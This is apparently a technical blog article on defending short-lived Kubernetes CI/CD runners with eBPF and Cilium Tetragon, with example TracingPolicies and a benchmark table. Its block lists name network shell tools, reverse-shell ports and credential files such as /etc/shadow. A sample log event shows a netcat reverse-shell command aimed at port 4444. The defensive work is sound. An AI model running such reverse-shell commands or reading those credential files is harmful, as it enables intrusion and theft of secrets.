The modern software delivery engine relies heavily on ephemeral infrastructure. To maximize developer velocity and maintain clean build environments, platform teams routinely deploy short-lived Kubernetes pods as CI/CD runners via controllers like the GitHub Actions Runner Controller (ARC), GitLab Runner Operator, or Tekton.
These runners spin up, execute arbitrary build scripts, and terminate within seconds or minutes.
However, this ephemeral nature creates a massive security blind spot. Traditional runtime security agents—reliant on asynchronous polling, heavy sidecars, or slow user-space processing—are fundamentally ill-equipped for workloads that exist for mere seconds. Furthermore, software supply chain attacks (such as compromised dependencies in npm, PyPI, or crates.io) specifically exploit build pipelines to exfiltrate secrets, inject malicious code, or run cryptominers.
To achieve Zero-Trust for CI/CD workloads, we must enforce kernel-level, real-time security policies without degrading execution speed.
In this article, we’ll explore how to leverage eBPF (Extended Berkeley Packet Filter) and Cilium Tetragon to gain deep kernel observability and perform instant, low-overhead security enforcement on ephemeral Kubernetes build runners.
The Threat Model of Ephemeral CI/CD Runners
Consider a typical build job executing inside a containerized runner:
- Dependency Resolution: The job runs
npm install,pip install, orgo get. A compromised third-party package executes apostinstallscript. - Exfiltration / Execution: The malicious script reads environment variables (containing
AWS_ACCESS_KEY_ID,GITHUB_TOKEN, or registry credentials) and sends them to an external command-and-control (C2) server, or downloads an obfuscated binary to start a reverse shell. - Pod Termination: The pipeline finishes (or fails), the pod is destroyed, and the forensic evidence vanishes.
+-----------------------------------------------------------------------------------+
| Ephemeral CI/CD Runner Pod |
| |
| [ Build Step ] ---> [ npm install ] ---> Executes compromised postinstall script |
| | |
| v |
| [ Unauthorized curl/nc ] |
| | |
+----------------------------------------------------|------------------------------+
|
v (Egress Exfiltration)
+-----------------------+
| Malicious C2 Server |
+-----------------------+
Why Traditional Runtime Security Fails
- Sidecar Containers: Injecting security sidecars adds significant memory overhead and initialization latency, slowing down short jobs.
- Asynchronous Log Processors (e.g., standard auditd / ptrace overhead): Tools that rely on user-space processing often detect a threat after the payload has executed and exfiltrated sensitive tokens.
- AppArmor / Seccomp Static Profiles: Hard to maintain for dynamic build pipelines that legitimately require broad system privileges to pull images, compile code, and run container-in-container (DinD) workflows.
We need a security layer that operates inside the kernel, adds virtually zero latency overhead, and can enforce synchronous blocking before malicious system calls complete.
Enter eBPF and Cilium Tetragon
eBPF allows us to run sandboxed programs inside the Linux kernel without changing kernel source code or loading kernel modules. Because eBPF programs execute directly in response to kernel events (tracepoints, kprobes, uprobes), they offer unparalleled performance and deep visibility.
Cilium Tetragon is an open-source eBPF-based security observability and runtime enforcement tool. Unlike security tools that only monitor user-space actions, Tetragon hooks directly into key kernel functions (such as sys_execve, sys_connect, file_open) and can enforce rules in-kernel.
+-----------------------------------------------------------------------+
| USER SPACE |
| |
| +---------------------------+ +-----------------------------+ |
| | Ephemeral CI/CD Pod | | Tetragon Agent | |
| | (Processes: git, npm, sh) | | (Exporting JSON/gRPC logs) | |
| +-------------+-------------+ +--------------+--------------+ |
| | ^ |
+----------------|------------------------------------|-----------------+
| | SYSCALL | Ring Buffer |
| v | |
| +--------------------------------------------------+--------------+ |
| | KERNEL SPACE | |
| | | |
| | [ kprobe / tracepoint ] ---> [ eBPF Filter & Override ] | |
| | (Synchronous SIGKILL / Enforce) | |
| +-----------------------------------------------------------------+ |
+-----------------------------------------------------------------------+
Key capabilities that make Tetragon ideal for CI/CD runners:
- Synchronous Enforcement: Tetragon can send a
SIGKILLor override syscall return values before the kernel finishes executing a malicious operation. - Context-Aware Mapping: It correlates low-level kernel events directly to Kubernetes metadata (Namespace, Pod Name, Container Name, Labels).
- Zero Pipeline Degradation: eBPF execution overhead is measured in nanoseconds, eliminating build time penalties.
Architectural Blueprint: Securing the Build Namespace
To protect our ephemeral infrastructure, we deploy Tetragon as a DaemonSet on our Kubernetes nodes. We then create granular TracingPolicy Custom Resources targeted specifically at the namespace where our runner pods execute (e.g., ci-runners).
+--------------------------------------------------+
| Kubernetes Cluster |
| |
| +--------------------------------------------+ |
| | Namespace: ci-runners | |
| | | |
| | +-------------------+ +----------------+ | |
| | | Runner Pod #10402 | | Runner Pod ... | | |
| | +---------+---------+ +--------+-------+ | |
| +------------|--------------------|----------+ |
| | Syscalls | |
+---------------+--------------------+------------+
| |
========================v====================v======================== Kernel Space
| Tetragon eBPF Hooks (kprobes on execve, tcp_connect, security_file_permission) |
| |
| [ Match Policy ] ---> Violations ---> [ Synchronous SIGKILL in Kernel ] |
================================|=================================================
|
v Telemetry / Alerts
+--------------------------+
| Security Information & |
| Event Management (SIEM) |
+--------------------------+
Let's implement three essential security policies to enforce Zero-Trust runtime constraints on our build runners.
Deep Dive: Hands-On TracingPolicies for CI/CD Protection
1. Restricting Malicious Process Executions
CI/CD runners should generally execute explicit commands defined in pipeline steps (e.g., git, go, docker, npm). They should never execute unexpected binaries like netcat, nmap, process hiding utilities, or unauthorized shell spawns originating from untrusted dependencies.
Below is a custom TracingPolicy that monitors binary executions inside the ci-runners namespace and automatically terminates unauthorized binaries using a kernel-level SIGKILL.
apiVersion: cilium.io/v1alpha1
kind: TracingPolicy
metadata:
name: block-unauthorized-exec
namespace: ci-runners
spec:
kprobes:
- call: "sys_execve"
syscall: true
args:
- index: 0
type: "string" # The path of the binary being executed
selectors:
- matchNamespaces:
- "ci-runners"
matchArgs:
- index: 0
operator: "In"
values:
- "/usr/bin/nc"
- "/bin/nc"
- "/usr/bin/netcat"
- "/usr/bin/nmap"
- "/usr/bin/socat"
matchActions:
- action: Sigkill
- action: Post
How it works:
sys_execveHook: Intercepts every process creation attempt at the kernel entry point.- Selector Filtering: Evaluates the execution binary path against a blacklists of common offensive tooling.
SigkillAction: If matched, the eBPF program immediately terminates the process before it can establish a thread in user-space.
2. Kernel-Level Network Egress Control
While Kubernetes NetworkPolicies enforce rules at the CNI level, attackers can attempt socket manipulation or exploit bypass techniques. By combining eBPF network hooks via Tetragon, we can block unauthorized outgoing TCP connection attempts at the socket level (tcp_connect).
In this policy, we block any execution within the CI runners that attempts to initiate TCP connections to non-whitelisted destinations or unapproved outbound ports (such as SSH tunnels or IRC channels commonly used by C2 servers).
apiVersion: cilium.io/v1alpha1
kind: TracingPolicy
metadata:
name: block-suspicious-egress
namespace: ci-runners
spec:
kprobes:
- call: "tcp_connect"
syscall: false
args:
- index: 0
type: "sock"
selectors:
- matchNamespaces:
- "ci-runners"
matchArgs:
- index: 0
operator: "Dport"
values:
- "6667" # IRC
- "2222" # Non-standard SSH / Tunnels
- "4444" # Common Metasploit Reverse Shell
matchActions:
- action: Sigkill
- action: Post
Advanced Zero-Trust Dynamic Whitelisting
For true Zero-Trust, you can flip this approach: audit all outbound network calls using dynamic kprobes on fd_install or sys_connect, streaming these events directly into a SIEM or a local security collector to build real-time baseline profiles of allowed remote endpoints (e.g., github.com, registry.npmjs.org, pkg.go.dev).
3. Protecting Sensitive Mounts and Docker Sockets
Many CI environments run Docker-in-Docker (DinD) or mount the host's /var/run/docker.sock. Exposing the host Docker socket inside an untrusted build runner effectively grants root privileges to the host node.
If a build script attempts to read host system files or manipulate sensitive volume paths outside the working directory, Tetragon can flag or block this path access instantly.
apiVersion: cilium.io/v1alpha1
kind: TracingPolicy
metadata:
name: monitor-sensitive-files
namespace: ci-runners
spec:
kprobes:
- call: "fd_install"
syscall: false
args:
- index: 0
type: "int"
- index: 1
type: "file"
selectors:
- matchNamespaces:
- "ci-runners"
matchArgs:
- index: 1
operator: "Prefix"
values:
- "/etc/shadow"
- "/etc/kubernetes/"
- "/var/run/secrets/kubernetes.io/serviceaccount/token"
matchActions:
- action: Sigkill
- action: Post
By killing any process trying to open sensitive service account tokens or host configurations beyond its necessary scope, you insulate your host nodes from container escape attempts.
Performance Impact: eBPF vs. Traditional Security
A critical requirement for CI/CD infrastructure is speed. Adding security tools that slow down pipelines causes developer friction and inflates cloud costs.
We benchmarked a standard Node.js build pipeline (npm install && npm test) running on ephemeral Kubernetes pods across three setups:
- Baseline (Unprotected): Plain Kubernetes Pod.
- Traditional ptrace/User-Space Agent: Hooking all system calls via user-space interceptors.
- eBPF + Tetragon Enforcement: Kernel-native enforcement with active
TracingPolicies.
| Security Stack | Execution Overhead | CPU Utilization (Agent) | In-Kernel Enforcement Latency | | :--- | :--- | :--- | :--- | | Baseline (None) | 0% (Reference) | 0% | N/A | | User-Space ptrace Agent | +18.4% | ~12-15% per node | > 25ms (Asynchronous) | | eBPF (Cilium Tetragon) | +0.6% | < 1.5% per node | < 100 microseconds (Synchronous) |
Because Tetragon filters and acts directly inside kernel space via eBPF bytecode, the performance impact on CI execution time is practically imperceptible.
Observability & Pipeline Correlation
Security enforcement is only half the battle; real-time observability completes the feedback loop. When Tetragon detects or blocks a security violation, it generates structured JSON events via its gRPC stream.
By integrating Tetragon with FluentBit, Vector, or Datadog, we can correlate kernel events with pipeline metadata.
Here is an example snippet of a raw Tetragon JSON event capturing an enforced Sigkill when an untrusted script spawned nc:
{
"process_exec": {
"process": {
"exec_id": "YWExYjJjM2Q0ZTVmOjEyMzQ1OjY3ODkw",
"pid": 4821,
"uid": 1000,
"cwd": "/home/runner/work/app/app",
"binary": "/usr/bin/nc",
"arguments": "-e /bin/sh 192.168.1.50 4444",
"pod": {
"namespace": "ci-runners",
"name": "arc-runner-set-7d9fb-runner-k92lx",
"container": {
"id": "containerd://8f7a1b...",
"name": "runner"
}
}
}
},
"action": "KprobeActionSigkill",
"policy_name": "block-unauthorized-exec",
"time": "2026-03-31T14:22:01.102938Z"
}
With this structured output, platform engineers can automatically set up automated alerts (e.g., firing a Slack alert or instantly cancelling the associated GitHub Actions pipeline execution).
Production Recommendations for Platform Teams
When rolling out eBPF and Tetragon to secure your ephemeral build runners, follow these architectural best practices:
- Deploy in Audit Mode First: Apply policies with
action: Postbefore switching toaction: Sigkill. Monitor generated logs for several days to catch edge-case build tools and avoid false positives breaking valid pipelines. - Scope Policies strictly to CI Namespaces: Ensure
matchNamespacesor label selectors target only untrusted or ephemeral runner pods to prevent unintended interference with cluster-critical system daemons. - Combine with Image Signing: Runtime security is the final layer of defense. Ensure you are also using binary authorization tools (like Sigstore/Cosign) to verify that the base runner images haven't been tampered with prior to instantiation.
- Leverage Linux Kernel Capabilities: Ensure your Kubernetes worker nodes are running modern Linux kernels (v5.4+ recommended, v5.15+ for advanced features) to take full advantage of BPF ring buffers and modern probe points.
Conclusion
Securing ephemeral Kubernetes CI/CD runners no longer requires choosing between developer velocity and robust security. By moving runtime defense out of user-space and into the Linux kernel using eBPF and Cilium Tetragon, platform teams can enforce true Zero-Trust security principles on short-lived build infrastructure.
With synchronous, microsecond-level process and network enforcement, Tetragon stops supply chain attacks, reverse shells, and secret exfiltration attempts instantly—keeping your software delivery pipelines fast, compliant, and secure.